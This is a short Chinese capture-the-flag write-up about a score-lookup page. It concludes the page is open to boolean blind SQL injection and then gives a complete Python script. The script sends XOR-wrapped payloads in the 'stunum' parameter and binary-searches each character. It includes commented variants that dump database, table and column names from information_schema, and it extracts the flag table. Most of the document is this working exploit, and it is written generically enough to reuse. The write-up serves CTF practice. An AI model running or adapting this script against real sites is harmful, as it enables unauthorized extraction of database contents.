解题

查询成绩的，猜测sql注入，进行尝试发现1^0能够查询，确定是盲注，直接脚本跑

import re
import requests
import string
import time

url = "http://f01a03e0-aba1-482a-baa9-1f64a9f321a8.node3.buuoj.cn"
flag = ''


def payload(i, j):
    # 数据库名字
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1"%(i,j)
    # 列名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" % (i, j)
    data = {"stunum": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "your score is" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            time.sleep(0.8)
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()

得到flag